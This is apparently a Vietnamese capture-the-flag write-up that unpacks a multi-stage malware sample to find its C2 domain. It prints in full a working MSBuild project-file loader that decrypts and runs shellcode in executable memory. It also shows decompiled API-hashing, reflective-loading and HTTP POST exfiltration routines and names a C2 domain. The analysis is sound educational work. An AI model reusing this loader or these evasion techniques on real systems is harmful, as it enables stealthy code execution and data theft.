[HOLACTF] i_love_malware
i love malware
Mô tả
HOLACTF{C2domain}
Phân tích
Bài cho 3 file BraveCrashHandler.csproj BraveCrashHandler.exe note.txt. Kiểm tra trước file exe thì thấy có chữ kí số của microsoft, kiểm tra thêm thì biết file này có tên gốc là MSBuild.exe không độc hại, vậy vấn đề sẽ nằm ở 2 file còn lại
Trong note.txt
1
commandline: "C:\Program Files (x86)\BraveSoftware\CrashReports\BraveCrashHandler.exe" C:\Progra~2\BraveSoftware\CrashReports\BraveCrashHandler.csproj
Khi lên mạng tìm cách sử dụng MSBuild.exe thì biết được nó có thể dùng để build 1 file csproj, vậy file độc hại sẽ là BraveCrashHandler.csproj
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="BuildProject">
<Project
DataProject="...very long..."
/>
</Target>
<UsingTask
TaskName="Project"
TaskFactory="CodeTaskFactory"
AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup>
<DataProject ParameterType="System.String"
Required="true" />
</ParameterGroup>
<Task>
<Reference Include="System.Runtime"/>
<Code Type="Class"
Language="cs">
<![CDATA[
using System;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Security.Cryptography;
using System.Runtime.ExceptionServices;
public class Project : Task, ITask
{
private string _DataProject;
public virtual string DataProject
{
get
{
return _DataProject;
}
set
{
_DataProject = value;
}
}
[DllImport("kernel32", EntryPoint = "VirtualAlloc")]
private static extern IntPtr Alloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
delegate void MyFunction();
[HandleProcessCorruptedStateExceptions]
public override bool Execute()
{
var inputArray = Convert.FromBase64String(DataProject);
var key = Environment.ProcessorCount + Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE") + Environment.GetEnvironmentVariable("PROCESSOR_LEVEL") + Environment.MachineName;
TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider();
var keyBytes = Encoding.UTF8.GetBytes(key);
using(var md5 = MD5.Create())
{
tripleDES.Key = md5.ComputeHash(keyBytes);
}
tripleDES.Mode = CipherMode.ECB;
tripleDES.Padding = PaddingMode.PKCS7;
var cTransform = tripleDES.CreateDecryptor();
var resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length);
tripleDES.Clear();
var funcAddr = Alloc(IntPtr.Zero, (UInt32)resultArray.Length, 0x1000, 0x40);
Marshal.Copy(resultArray, 0, funcAddr, resultArray.Length);
var myFunction = (MyFunction)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(MyFunction));
try
{
myFunction();
}
catch { }
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Khi thực hiện build thì chương trình sẽ lấy đoạn mã B64 bị mã hoá trong DataProject sau đó tạo khoá Triple DES = MD5( UTF8( Environment.ProcessorCount + PROCESSOR_ARCHITECTURE + PROCESSOR_LEVEL + Environment.MachineName ) )
Rồi thực hiện giải mã bằng 3DES_ECB ra resultArray rồi cấp phát vùng nhớ VirtualAlloc để copy vào rồi chạy hàm myFuction thực thi file
Bởi vì key được lấy từ các thông tin của máy nạn nhân nên ta sẽ phải tự tìm key và viết script giải mã, ví dụ key trên máy của tôi
1
2
4AMD646DESKTOP-NF3DDH9
c548f121f3d1f43dad746dbbdc38df77
note.txt cũng đã cho ta các thông tin về máy nên ta sẽ dựng lại key sau đó thực hiện giải mã
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
systeminfo:
Host Name: ADMIN
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19044 N/A Build 19044
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Admin
Registered Organization:
Product ID: 00330-80000-00000-AA337
Original Install Date: 4/2/2022, 9:34:15 PM
System Boot Time: 3/5/2024, 10:27:22 AM
System Manufacturer: System manufacturer
System Model: System Product Name
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 42 Stepping 7 GenuineIntel ~3300 Mhz
BIOS Version: American Megatrends Inc. 0504, 29/6/2012
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume5
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+07:00) Bangkok, Hanoi, Jakarta
Total Physical Memory: 7.882 MB
Available Physical Memory: 4.619 MB
Virtual Memory: Max Size: 8.394 MB
Virtual Memory: Available: 4.746 MB
Virtual Memory: In Use: 3.648 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\ADMIN
Hotfix(s): 3 Hotfix(s) Installed.
[01]: KB5003791
[02]: KB5005611
[03]: KB5005699
Network Card(s): 1 NIC(s) Installed.
[01]: Realtek PCIe GbE Family Controller
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 10.38.251.9
IP address(es)
[01]: 10.38.40.113
[02]: fe80::1187:b4b4:c9de:d729
Hyper-V Requirements: VM Monitor Mode Extensions: Yes
Virtualization Enabled In Firmware: No
Second Level Address Translation: Yes
Data Execution Prevention Available: Yes
Volume Serial Number: 7689-E1A1
- ProcessorCount:
4 - PROCESSOR_ARCHITECTURE:
AMD64 - PROCESSOR_LEVEL:
6 - MachineName:
ADMIN
=> 6094c13fbe36d14605432e0140030a02
Đây mới là shellcode, khi đưa vào IDA thì thấy có hàm sub_884 rất lớn và gọi rất nhiều hàm nên sẽ đặt nó làm entrypoint và sử dụng sclauncher.exe để đưa về file exe
1
sclauncher.exe -f="shellcode_stage1.bin" -ep="0x83B" -pe -64 -o="stage1.exe"
Phải đặt entrypoint ở khoảng
0x83B(trước khi gọi hàmMAIN) do nó còn đưa tham số vào các thanh ghi nữa, nếu không sẽ gặp lỗi khi debug bởi vì tham số trống, xem phần assembly
Stage 1
Bởi vì file stage1 này có khá ít hàm nên tôi đã phân tích từng hàm một, sau đây là một số hàm quan trọng
Resolve_API_String()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
__int64 __fastcall Resolve_API_String(__int64 (__fastcall **a1)(__int64, __int64), char *a2)
{
int v4; // edx
struct _LIST_ENTRY *Flink; // r10
__int16 v6; // di
struct _LIST_ENTRY *v7; // r8
__int16 Blink; // r9
int Flink_low; // ecx
int v10; // eax
struct _LIST_ENTRY *v11; // rbx
char *v12; // rax
unsigned int *v13; // r15
unsigned int *v14; // r12
unsigned __int16 *v15; // rbp
char *v16; // rsi
__int64 v17; // rbx
__int64 result; // rax
struct _LIST_ENTRY *v19; // [rsp+50h] [rbp+8h]
v4 = 0;
*a1 = 0;
a1[1] = 0;
a1[2] = 0;
a1[3] = 0;
a1[4] = 0;
a1[7] = 0;
a1[5] = 0;
Flink = NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink;
v19 = Flink;
if ( Flink )
{
v6 = 6;
while ( 1 )
{
v7 = Flink[5].Flink;
Blink = (__int16)Flink[4].Blink;
do
{
Flink_low = LOBYTE(v7->Flink);
v7 = (struct _LIST_ENTRY *)((char *)v7 + 1);
v10 = Flink_low + __ROR4__(v4, 13);
v4 = v10 - 32;
if ( (unsigned __int8)Flink_low < 0x61u )
v4 = v10;
--Blink;
}
while ( Blink );
if ( v4 == 1783282779 )
break;
LABEL_24:
if ( !*a1 || !a1[1] || !a1[2] || !a1[3] || !a1[4] || !a1[5] )
{
Flink = Flink->Flink;
v4 = 0;
v19 = Flink;
if ( Flink )
continue;
}
goto LABEL_31;
}
v11 = Flink[2].Flink;
v12 = a2 + 93;
v13 = (unsigned int *)((char *)v11 + *(unsigned int *)((char *)&v11[8].Blink + SHIDWORD(v11[3].Blink)));
v14 = (unsigned int *)((char *)v11 + v13[8]);
v15 = (unsigned __int16 *)((char *)v11 + v13[9]);
while ( 1 )
{
v16 = (char *)v11 + *v14;
if ( String_Compare(v12, v16) )
break;
if ( String_Compare(a2 + 80, v16) )
{
a1[1] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
+ *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
goto LABEL_21;
}
if ( String_Compare(a2 + 149, v16) )
{
a1[2] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
+ *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
goto LABEL_21;
}
if ( String_Compare(a2 + 227, v16) )
{
a1[3] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
+ *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
goto LABEL_21;
}
if ( String_Compare(a2 + 162, v16) )
{
a1[4] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
+ *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
goto LABEL_21;
}
if ( String_Compare(a2 + 240, v16) )
{
a1[5] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
+ *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
goto LABEL_21;
}
LABEL_22:
++v14;
v12 = a2 + 93;
++v15;
if ( !v6 )
{
Flink = v19;
v6 = 6;
goto LABEL_24;
}
}
*a1 = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
+ *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
LABEL_21:
--v6;
goto LABEL_22;
}
LABEL_31:
v17 = ((__int64 (__fastcall *)(char *))a1[1])(a2 + 108);
a1[7] = (__int64 (__fastcall *)(__int64, __int64))(*a1)(v17, (__int64)(a2 + 182));
a1[8] = (__int64 (__fastcall *)(__int64, __int64))(*a1)(v17, (__int64)(a2 + 210));
result = (*a1)(v17, (__int64)(a2 + 121));
a1[6] = (__int64 (__fastcall *)(__int64, __int64))result;
return result;
}
Hàm này duyệt PEB để tìm kernel32.dll, sau đó parse bảng export để resolve một loạt API có tên được giấu trong buffer a2 (nằm ở nhiều offset khác nhau) và ghi vào bảng hàm a1. Khi đã có LoadLibraryA và GetProcAddress, nó tiếp tục load một DLL khác (tên cũng lấy từ a2) và resolve thêm một số API trong DLL đó, lưu kết quả vào a1[6..8]
Resolve_API_Hash()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
char *__fastcall Resolve_API_Hash(int a1)
{
struct _LIST_ENTRY *Flink; // r9
struct _LIST_ENTRY *v3; // r8
__int128 v4; // xmm0
int v5; // edx
__int64 v6; // r11
char *v7; // rcx
__int64 v8; // r10
int v9; // edx
_DWORD *v10; // r10
int v11; // r11d
unsigned int *v12; // rdi
int v13; // ebx
char *v14; // rsi
int v15; // ecx
Flink = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Flink;
while ( 1 )
{
LABEL_2:
v3 = Flink[3].Flink;
if ( !v3 )
return 0;
v4 = *(_OWORD *)&Flink[5].Blink;
v5 = 0;
Flink = Flink->Flink;
v6 = *(unsigned int *)((char *)&v3[8].Blink + SHIDWORD(v3[3].Blink));
if ( (_DWORD)v6 )
{
if ( WORD1(v4) )
{
v7 = (char *)*((_QWORD *)&v4 + 1);
v8 = WORD1(v4);
do
{
v9 = __ROR4__(v5, 13);
if ( *v7 >= 97 )
v9 -= 32;
v5 = *v7++ + v9;
--v8;
}
while ( v8 );
}
v10 = (_DWORD *)((char *)v3 + v6);
v11 = 0;
v12 = (unsigned int *)((char *)v3 + (unsigned int)v10[8]);
if ( v10[6] )
break;
}
}
while ( 1 )
{
v13 = 0;
v14 = (char *)v3 + *v12++;
do
{
v15 = *v14++;
v13 = v15 + __ROR4__(v13, 13);
}
while ( (_BYTE)v15 );
if ( v13 + v5 == a1 )
return (char *)v3
+ *(unsigned int *)((char *)&v3->Flink
+ 4 * *(unsigned __int16 *)((char *)&v3->Flink + v10[9] + (unsigned int)(2 * v11))
+ (unsigned int)v10[7]);
if ( (unsigned int)++v11 >= v10[6] )
goto LABEL_2;
}
}
Hàm này duyệt PEB để tìm các module, sau đó tính hash ROR13 của tên DLL và tên hàm export. Nếu tổng hash bằng giá trị đầu vào thì trả về địa chỉ hàm
MAIN()
1
2
MAIN(__int64 a1, unsigned int a2, int a3, int a4, int a5, unsigned int a6)
MAIN((__int64)&dword_402C84, 0xADE40u, 1, 1, 1, 0xA65A282A);
a1 là địa chỉ của payload bị mã hoá và a2 là kích cỡ
Resolve API theo tên
VirtualAlloc vùng mới (RW), VirtualProtect (RWX), copy payload từ vị trí cũ sang vùng mới (copy từ
a1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
v12 = a2;
v13 = v100(0, a2, 0x3000, 4); // VirtualAlloc
v14 = (void (*)(void))v13; // mov r14, rax
if ( !v13 )
return -1;
v76 = a2;
v103(v13, a2, 64, &v104); // VirtualProtect
if ( a2 )
{
v15 = v14;
v16 = a2;
do // memcpy(v14, a1, a2)
{
*(_BYTE *)v15 = *((_BYTE *)v15 + a1 - (_QWORD)v14);
v15 = (void (*)(void))((char *)v15 + 1);
--v16;
}
while ( v16 );
}
Địa chỉ
0x402C84chứa payload bị mã hoá lúc đầu được copy sangv14, trong assembly thì thanh ghir14sẽ trỏ đến địa chỉ chứa của v14, khi chương trình thực hiện việc mã hoá payload thì sẽ tác động lên địa chỉ trên
Chọn thuật toán hash
a4 == 1 => MD5, a4 == 2 => SHA-1, ở bài này thìa4 == 1nên ta chương trình sẽ sử dụngMD5Chọn key theo
a3:1 – Volume Serial: thử từng chữ cái ổ đĩa; lần nào đọc được serial, hash MD5
2 – Adapters:
GetAdaptersInfovào một buffer heap; duyệt từng adapter, lấy chuỗi và chiều dài chuỗi, hash MD53 – DPAPI blob: lấy size + con trỏ tại
a2 + a1,CryptUnprotectDatarapbData, hash MD5
So khớp CRC32:
Compute_CRC32(0, &v83, 32) == a6mới tiếp tục thực hiện các bước sau (a6 = 0xA65A282A)Dựng key sử dụng các hàm crypto của advapi32.dll, CryptDecrypt payload trong vùng đã cấp phát
Chạy code: giải mã xong, chạy stage2 rồi
VirtualFree.
Biết hàm MAIN được gọi như sau MAIN((__int64)&dword_402C84, 0xADE40u, 1, 1, 1, 0xA65A282A);
a3 == 1nên sẽ dùng mode 1 => Volume Serial, trong note.txt có: 7689-E1A1
Tiếp theo đặt breakpoint tại đây
1
2
3
4
5
6
7
8
9
10
11
while ( 1 )
{
LOBYTE(v49) = v42 + 65;
LODWORD(v46) = 262148;
v52 = 0;
if ( v97(&v49, 0, 0, &v52, 0, 0, 0, 0, v46, &v49) > 0 )
break;
LABEL_93:
if ( ++v42 >= 26 )
return v24;
}
v97(&v49, 0, 0, &v52, 0, 0, 0, 0, v46, &v49) khi thực hiện debug sẽ biết được hàm này gọi GetVolumeInformationA
Đoạn code này sẽ thực hiện quét các ổ đĩa từ A:\\ -> Z:\\ và gọi GetVolumeInformationA nếu trả về 1 (Lấy được volume id) thì sẽ thoát khỏi vòng while và tiếp tục thực hiện
Kết quả ID của volume-ID sẽ nằm trong địa chỉ được thanh ghi vào thanh ghi R9 vậy thì ta sẽ đặt breakpoint ở đó, Follow in dump thanh ghi R9 rồi sau đó mới stepover để xem và chỉnh giá trị
Giá trị ghi chỉnh trong x64dbg phải ghi dưới dạng little-edian, ví dụ khi tôi chạy
vol C:ra44BF-EAB7khi debug thì biết giá trị này trong chương trình làB7EABF44
Giá trị ta cần thay vào là A1E18976
Bây giờ ta sẽ đặt breakpoint ở hàm thực hiện giải mã (Ở đây sử dụng CryptDecrypt), follow địa chỉ của r14 rồi stepover sẽ thấy thay đổi, dump ra rồi cắt đủ 0xADE40 byte
python .\Dump_cutter.py -i .\stage1_0000000001080000.bin -s 0 -l 0xADE40 -o shellcode_stage2.bin
Stage 2
Tương tự như stage1, nhưng mà do cái stage2 này có rất nhiều hàm nên tôi chỉ chuyển sang exe thôi còn entrypoint giữ nguyên default
1
sclauncher.exe -f="shellcode_stage2.bin" -pe -64 -o="stage2.exe"
1
2
3
4
__int64 start()
{
return sub_401036((__int64)&word_403436, 0xABA00, 0, 0); // a1,a2,a3,a4
}
Khi kiểm tra thêm hàm sub_401036 thấy rằng đây là một manual PE loader/reflective loader: nó lấy một PE nằm trong bộ nhớ ở a1, tự map vào vùng mới, fix relocations/imports, gọi DllMain, rồi gọi một export cụ thể (Theo a4)
Hàm này cũng sử dụng phương pháp resolve API động, nên ta sẽ phải đặt khá nhiều bp để biết nó gọi gì (Hoặc dựa vào tham số với hỏi chatgpt cho nhanh)
Một vài API
1
2
3
4
5
6
7
v174 / v22 = VirtualAlloc
v157 = VirtualProtect
v190 = LoadLibraryA
v8(...) dùng để resolve mọi API theo tên đã giải mã (`GetProcAddress`)
Đọc PE header tại a1
1
2
3
v54 = a1 + *(int *)(a1 + 60); // NT_HEADERS = a1 + e_lfanew
v55 = *(unsigned int *)(v54 + 80);// SizeOfImage
v56 = (__int64 *)(v54 + *(u16 *)(v54 + 20)); // Section headers base
Cấp phát vùng đích, copy section headers sang
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
v57 = v22(0, v55, 4096, 4); // VirtualAlloc
...
// copy headers (SizeOfHeaders ở v54+84)
v73 = *(unsigned int *)(v54 + 84);
if (v73) {
v74 = (_BYTE*)v57;
do { *v74 = v74[a1 - v57]; ++v74; --v73; } while (v73);
}
// copy từng section
if (*(_WORD*)(v54+6)) {
v76 = (unsigned int*)v56 + 9;
v77 = (alloc_fn)v174; // VirtualAlloc
do {
if (v76[1] || !*(_DWORD*)(v54 + 56)) {
v78 = v77(v57 + *v76, v76[1], 4096, 4); // alloc cho vùng section
if (v76[1]) { // SizeOfRawData
v81 = a1 + v76[2] - v78;
// memcpy(dst, src, SizeOfRawData)
for (v79=(BYTE*)v78, v80=v76[1]; v80; --v80) { *v79 = v79[v81]; ++v79; }
}
v76 += 10; // sang section tiếp theo (sizeof(IMAGE_SECTION_HEADER)/4)
} else {
v77(v57 + *v76, *(v76 - 1), 4096, 4);
}
} while (++v75 < *(u16*)(v54+6));
}
Gọi DLLMain
1
2
((void (__fastcall *)(u64, __int64, _QWORD))
(v57 + *(u32 *)(v54 + 40)))(v57, 1, 0); // (HINSTANCE)v57, DLL_PROCESS_ATTACH, 0
Gọi hàm export theo a4 (a4 == 0)
1
2
3
4
5
6
7
8
9
10
11
12
13
if (!*(_DWORD *)(v54 + 140)) return 0xFFFFFFFF;
v147 = (_DWORD *)(v57 + *(u32 *)(v54 + 136));
if (!v147[6] || !v147[5]) return 0xFFFFFFFF;
v148 = (u16 *)(v57 + (u32)v147[9]);
if (v147[6]) {
do {
if (v5 == a4) { //Gọi hàm export #0
((void (__fastcall *)(_QWORD))
(v57 + *(u32 *)(v57 + (u32)v147[7] + 4LL * *v148)))(0);
}
++v5; ++v148;
} while (v5 < v147[6]);
}
Vậy là nếu muốn dump file DLL ta chỉ cần đặt breakpoint tại lúc gọi hàm sub_401036 sau đó dump địa chỉ thanh ghi RCX ra rồi cắt cho vừa file DLL (a2 = độ lớn của file)
1
return sub_401036((__int64)&word_403436, 0xABA00, 0, 0);
Stage 3
1
python .\Dump_cutter.py -i .\stage2_0000000000401000.bin -s 0x2436 -l 0xABA00 -o stage3.exe
Kiểm tra thấy có export 1 hàm VerifyCryptoSet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// Hidden C++ exception states: #wind=10
__int64 VerifyCryptoSet()
{
__int64 v0; // rcx
int v2; // eax
int i; // ebx
HANDLE Thread; // rax
_QWORD Parameter[1736]; // [rsp+40h] [rbp-3658h] BYREF
memset(Parameter, 0, 0x3638u);
Initialize_Context((__int64)Parameter);
if ( HIDWORD(Parameter[1]) )
{
v2 = *(_DWORD *)((char *)&Parameter[1135] + 7);
for ( i = *(_DWORD *)((char *)&Parameter[1135] + 7); ; i += 30 )
{
if ( i >= v2 )
{
Parameter[1726] = Get_Dir_Size(v0, &Parameter[6]);
Enumerate_Targets(Parameter);
Process_Encoded_Data(Parameter);
if ( !LODWORD(Parameter[1]) )
{
Thread = CreateThread(0, 0, StartAddress, Parameter, 0, 0);
CloseHandle(Thread);
}
i = 0;
}
Sleep(0x7530u);
v2 = *(_DWORD *)((char *)&Parameter[1135] + 7);
}
}
Free(Parameter);
return 0;
}
Hàm export này sẽ tạo context, rồi vào vòng lặp 30 giây một lần để quét dung lượng thư mục; liệt kê các ổ đĩa, thư mục, file; encode dữ liệu. Nếu flag Parameter[1] != 0 thì sẽ tạo thread để xử lý, chạy liên tục cho đến khi bị dừng. Nếu flag không bật thì Free luôn
Phân tích các hàm được gọi trong hàm tạo thread thì tìm được hàm sau
1
2
3
4
5
6
7
8
// Hidden C++ exception states: #wind=1
__int64 __fastcall Send_HTTP_Req(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4, __int64 a5, int a6, _QWORD *a7)
{
[...]
Assign_Substring_0(Buf2, (unsigned __int64)"Authorization", 0xDu, v7);
[...]
Assign_Substring_0(Buf2, (unsigned __int64)"Content-Type", 0xCu, v9);
[...]
Hàm này đang tạo một payload để gửi http request, mô tả có yêu cầu tìm C2 domain, vậy có thể đây chính là payload cuối để kết nối đến C2
Hàm sub_180002BB0() tạo request POST
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// Hidden C++ exception states: #wind=6
__int64 __fastcall Post_Req(int a1, void **a2, __int64 a3, void **a4, __int64 a5)
{
__int64 v9; // r9
unsigned int v10; // ebx
_QWORD *v12; // [rsp+30h] [rbp-A1h] BYREF
__int64 v13[2]; // [rsp+38h] [rbp-99h] BYREF
_QWORD v14[4]; // [rsp+48h] [rbp-89h] BYREF
_QWORD Src[8]; // [rsp+68h] [rbp-69h] BYREF
_BYTE v16[24]; // [rsp+A8h] [rbp-29h] BYREF
void **v17; // [rsp+C0h] [rbp-11h]
void **v18; // [rsp+C8h] [rbp-9h]
Src[7] = -2;
v18 = a2;
Src[5] = a3;
v17 = a4;
Src[6] = v13;
Src[4] = v16;
v12 = v14;
sub_1800034C0(v13, a4);
sub_180002E60(v16, a3);
v14[3] = 15;
v14[2] = 0;
LOBYTE(v14[0]) = 0;
Assign_Substring_0(v14, (unsigned __int64)"POST", 4u, v9);
Src[3] = 7;
Src[2] = 0;
LOWORD(Src[0]) = 0;
Assign_Substring(Src, a2, 0, 0xFFFFFFFFFFFFFFFFuLL);
v10 = sub_180001FF0(a1, (__int64)v13, a5);
if ( (unsigned __int64)a2[3] >= 8 )
j_free(*a2);
a2[3] = (void *)7;
a2[2] = 0;
*(_WORD *)a2 = 0;
if ( *(_QWORD *)a3 )
{
j_free(*(void **)a3);
*(_QWORD *)a3 = 0;
*(_QWORD *)(a3 + 8) = 0;
*(_QWORD *)(a3 + 16) = 0;
}
sub_1800039C0(a4, &v12, *(_QWORD *)*a4, *a4);
j_free(*a4);
return v10;
}
Cuối cùng đầu hàm sub_180001FF0 gọi API WinHttpCrackUrl
1
2
3
4
5
6
// Hidden C++ exception states: #wind=15
__int64 __fastcall sub_180001FF0(_QWORD *a1, __int64 a2, __int64 **a3, void **a4, __int64 ****a5, __int64 a6)
{
[...]
v12 = (const WCHAR *)sub_180002E50(a2);
if ( !WinHttpCrackUrl(v12, 0, 0, &UrlComponents) )
1
2
3
4
5
6
WINHTTPAPI BOOL WinHttpCrackUrl(
[in] LPCWSTR pwszUrl,
[in] DWORD dwUrlLength,
[in] DWORD dwFlags,
[in, out] LPURL_COMPONENTS lpUrlComponents
);
Tốt rồi, ta chỉ cần đặt breakpoint ở đây rồi đọc thanh ghi RCX là có flag
guangdongshop.net
HOLACTF{guangdongshop.net}